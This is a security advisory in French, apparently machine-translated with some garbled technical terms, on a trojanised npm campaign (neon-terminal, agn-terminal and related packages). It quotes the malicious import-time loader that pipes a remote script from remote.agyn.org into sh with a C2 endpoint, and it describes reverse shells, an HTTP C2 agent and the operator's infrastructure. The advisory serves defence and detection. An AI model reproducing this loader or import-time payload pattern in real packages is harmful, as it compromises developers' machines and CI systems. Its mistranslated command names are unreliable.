TL; DR
Un seul opérateur npm a publié cinq paquets infectés par un cheval de Troie En deux vagues d'attaques sur trois jours, les paquets se font passer pour de petits utilitaires de terminal, de journalisation et de client Postgres. Le code malveillant s'exécute dès que le colis est importé — il n'y a pas de script d'installation à intercepter.
Premier tour (neon-terminal, neon-postgres, ne-logger) a été dépublié le 05/07/2026 à 14h14 UTC. Soixante-quatorze minutes plus tard le même compte a republié le même cheval de Troie sous de nouveaux noms (agn-terminal, agn-logger) — et le pointa vers le même point de terminaison de commande et de contrôle il avait déjà été utilisé : tracker.bvgroup.co.
Ce serveur C2 est le seul indicateur qui subsiste après le changement de nom, et c'est ce qu'un défenseur peut rechercher le plus rapidement. Gravité : Élevée. Écosystème : NPMLes offres du deuxième tour étaient toujours disponibles au moment de la rédaction.
L'attaque : comment elle fonctionne
Les colis sont des leurres fonctionnels. Ouvrez terminal agn et vous trouvez un assistant de couleur ANSI complet et fonctionnel — codes, supporte les couleurs, coloriser, peindre — avec des types et un fichier README. Le code utilitaire fonctionne. Quelques lignes de code, exécutées à l'importation, sont placées en haut du module d'entrée, au-dessus du code utile.
// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process"; const child = exec( "curl -fsSL https://remote.agyn.org/remote.sh | " + "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh", {}, (error, stdout, stderr) => {}, ); Trois éléments rendent cela efficace.
- Il se déclenche lors de l'importation, et non lors de l'installation. Le paquet ne déclare aucun préinstaller or post-installation L'accroche — l'endroit habituel où les scanners et les réviseurs regardent. exec L'appel correspond à du code au niveau du module. Il s'exécute la première fois qu'une action est effectuée. exiger("agn-terminal") or importer « agn-terminal », sur la machine du développeur ou dans l'environnement d'intégration continue. L'entrée ESM (src / index.js) et l'entrée CommonJS (cjs/src/index.js) transportent la même charge utile, donc les deux systèmes de modules sont couverts.
- La véritable charge utile se trouve hors de l'emballage. Le paquet ne contient qu'un seul programme de préparation : fetch remote.agyn.org/remote.sh` et redirigez-le vers sh`. C'est ce que l'opérateur sert à partir de cette URL au moment de la requête qui est exécuté. Le point de terminaison C2 est transmis au script téléchargé via le POINT DE TERMINAL À DISTANCE DU TRACEUR variable d'environnement, donc le script de la deuxième étape communique avec le serveur. tracker.bvgroup.co.
- Un colis porteur élargit le rayon de l'explosion. agn-logger est un second leurre — un « minuscule enregistreur global ». Il ne contient aucune charge utile propre. Son module d'entrée effectue une seule action pertinente :
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); Il déclare terminal agn L'installation ou l'importation du module de journalisation entraîne l'installation et l'exécution transitives du paquet terminal. Un projet qui ne mentionne jamais directement le cheval de Troie peut néanmoins l'exécuter via ce module.
Quoi de neuf ici
La première vague n'utilisait pas de serveur distant. Elle intégrait la charge utile directement dans le code et l'escaladait version par version : un shell inversé Bash dans une version, un autre… net.Socket coquille inversée dans la suivante, une git add/commit/ push du répertoire de travail de la victime dans un autre, et enfin un agent de commande et de contrôle HTTP complet dans terminal néon 0.9.0 qui a enregistré l'hôte, interrogé les tâches à effectuer et les a exécutées avec exécutable()et a renvoyé en continu une sortie encodée en base64. La deuxième étape condense tout cela en un seul boucle | shL'étage deux est ainsi retiré du registre. Même opérateur, format plus silencieux, charge utile plus flexible et, surtout, même système de commande et de contrôle qu'auparavant.
Forum
| Date (UTC) | Espaces |
|---|---|
| 2026-07-03 07:03 | Premier tour publié : neon-terminal (0.1.0 propre, puis 0.2.0–0.9.0 malveillants), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal signalé lors de l'analyse en temps réel |
| 2026-07-04 | Acte malveillant confirmé ; une corrélation entre les deux paquets apparentés est mise en évidence ; premières demandes de retrait déposées |
| 2026-07-05 14:14 | Premier tour non publié — les huit neon-terminal versions et frères et sœurs supprimés |
| 2026-07-05 15:28 | agn-terminal 0.1.0 publié |
| 2026-07-05 15:29 | agn-logger 0.1.0 publié — transporteur pour le nouveau forfait terminal |
| 05/07/2026 (en cours) | Les offres du deuxième tour sont disponibles au moment de la rédaction. |
Les deux tirs sont espacés de trois jours, et l'intervalle entre le retrait et le relancement était de 74 minutes. La campagne est ouverte : agn-* Les paquets n'avaient pas été supprimés au moment où ce texte a été rédigé.
Indicateurs de compromis
Recherchez les noms des paquets dans les fichiers de verrouillage et les arbres de dépendances. Recherchez les proxys, les DNS et EDR Journaux des points de terminaison réseau. L'hôte C2 tracker.bvgroup.co Il couvre les deux tours et constitue l'indicateur unique ayant la plus grande valeur.
Forfaits
| Forfait | versions | Rôle | Statut |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | cheval de Troie (charges utiles intégrées → HTTP C2) | non publié |
neon-postgres | 3.5.2 | cheval de Troie (charge utile dans src/errors.js) | non publié |
ne-logger | 0.7.0 | transporteur (dépend de neon-terminal) | non publié |
agn-terminal | 0.1.0 | cheval de Troie (curl | sh (mise en scène) | direct |
agn-logger | 0.1.0 | transporteur (dépend de agn-terminal) | direct |
terminal néon La version 0.1.0 était une version de base propre — une bibliothèque de couleurs fonctionnelle sans charge utile — publiée pour établir le paquet avant que les versions malveillantes ne suivent.
Réseau
| Indicateur | Contexte |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, les deux tours (jeton du deuxième tour) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | chargeur de première étape du deuxième tour |
reverse.bvgroup.co:443 | point d'extrémité de la coquille inversée du premier tour (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | coquille inversée ronde-un (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | coquille inversée ronde-un (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | domaines contrôlés par l'opérateur |
Comportementale
- Au niveau du module processus_enfant.exec en haut du fichier d'entrée d'un paquet utilitaire, dans les deux src / index.js (ESM) et cjs/src/index.js (CJS).
- A curl -fsSL … | sh une phrase courte avec le C2 passé via un POINT DE TERMINAL À DISTANCE DU TRACEUR variable d'environnement.
- Un deuxième paquet « utilitaire » qui déclare le premier comme dépendance et l'importe, sans charge utile propre.
- Un reste // terminal néon commentaire en haut de terminal agn — un élément de copier-coller reliant la nouvelle marque à l'originale.
Hachages de fichiers (SHA-256, deuxième tour)
- terminal agn src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- terminal agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Attribution et comportement observé
Chaque paquet est lié à un compte npm. vitalii-agyn, publiant sous une adresse e-mail non vérifiée vitalii@agyn.ioLes métadonnées du registre du compte indiquent que les trois paquets du premier tour sont gérés par celui-ci. L'infrastructure assure la liaison entre les tours : le domaine agyn.org correspond à l'éditeur agyn.io domaine de messagerie et hôte C2 tracker.bvgroup.co apparaît dans les deux terminal néon 0.9.0 et terminal agn 0.1.0 — le même chemin du collecteur, réutilisé à l'identique après le renommage.
Nous décrivons ce que montrent les artefacts et nous nous arrêtons là. L'adresse électronique indiquée par l'éditeur est : vitalii@agyn.ioNous n'avons pas vérifié la propriété de cette adresse et nous n'attribuons ce compte à aucune personne ni à aucun groupe nommément désigné. La réutilisation d'un même point de terminaison C2 dans deux familles de packages est un indice fort d'un même opérateur, et non une preuve d'identité.
Les offres du premier tour misaient sur la proximité des marques. néon-postgres était un clone complet du largement utilisé Porsager postgres.js client, slogan et tout le reste, avec la charge utile dissimulée dans src/errors.js un chemin d'importation classique l'atteindrait donc — et le néon- Le préfixe emprunte la notoriété de Neon, le fournisseur Postgres sans serveur. Les noms du deuxième tour ont abandonné l'imitation et sont devenus génériques (terminal agn, agn-logger), en misant sur le pouvoir d'attraction de la marque pour rompre plus nettement avec les noms usurpés.
Impact, tendances et conseils aux défenseurs
- Qui est exposé ? Toute personne qui installe et importe l'un de ces paquets, directement ou via l'opérateur, sur un hôte de type Unix. Le programme d'installation utilise boucle et sh; les obus ronds utilisent bash et /dev/tcpL'exécution ayant lieu lors de l'importation, un serveur de compilation qui installe la dépendance et exécute le code y faisant appel suffit ; aucune étape post-installation n'est requise. Sur un poste de travail de développeur ou un système d'intégration continue, la deuxième étape téléchargée s'exécute avec les privilèges de l'utilisateur et un accès réseau complet.
- Pourquoi l'exécution au moment de l'importation est importante. Les défenses de la chaîne d'approvisionnement se sont concentrées sur les scripts d'installation, et à juste titre : postinstall est le point d'entrée classique de npm. Cette campagne contourne complètement ce problème. Il n'y a aucun point d'ancrage d'installation à signaler. code malveillant Il s'agit d'une initialisation de module ordinaire, indiscernable au premier coup d'œil d'un package calculant une table de correspondance au chargement. Les outils qui se contentent d'inspecter les scripts dans package.json ne détectent rien.
- La tendance du rebranding et de la réutilisation. Le délai de 74 minutes est révélateur. La procédure de suppression a effacé les noms, mais pas l'opérateur, l'infrastructure ni le code. Moins d'une heure plus tard, la campagne était de nouveau active sous de nouveaux noms, pointant vers le même serveur de commande et de contrôle. Un blocage basé sur le nom (par exemple, le blocage de neon-terminal) aurait déjà été inefficace. Un blocage basé sur l'infrastructure (par exemple, le blocage de bvgroup.co) aurait intercepté la seconde tentative dès son lancement. Pour un opérateur actif qui republie plus vite que les registres ne suppriment ses messages, l'indicateur fiable est le point de terminaison réseau, et non le nom du paquet.
Que faire maintenant
- Recherchez les fichiers de verrouillage et les arborescences installées pour chacun des cinq noms de paquets ci-dessus. Toute correspondance est considérée comme un hôte compromis et les identifiants accessibles depuis cet hôte sont renouvelés.
- Bloquer et alerter sur les domaines bvgroup.co, agyn.org, et les points de terminaison ngrok dans le filtrage DNS et de sortie. tracker.bvgroup.co est la priorité.
- Ne vous fiez pas uniquement à l'analyse des hooks d'installation. Ajoutez une détection au niveau du module. enfant_processus et les appels réseau dans les dépendances, et pour boucle … | sh modèles dans le code source du package.
- Considérez comme digne d'un second examen tout paquet utilitaire qui déclare un autre utilitaire obscur comme unique dépendance et l'importe au chargement.
- En CI, préférez –Ignorer-scripts lorsque cela est possible, mais comprenez que cela n'aide pas ici — la charge utile s'exécute à l'importation, donc les contrôles de sortie en cours d'exécution et l'examen des dépendances sont plus importants.
Références
- Neon Serverless Postgres — la marque néon-* Les noms empruntent leur notoriété à.
- Porsager postgres.js — le client néon-postgres cloné.




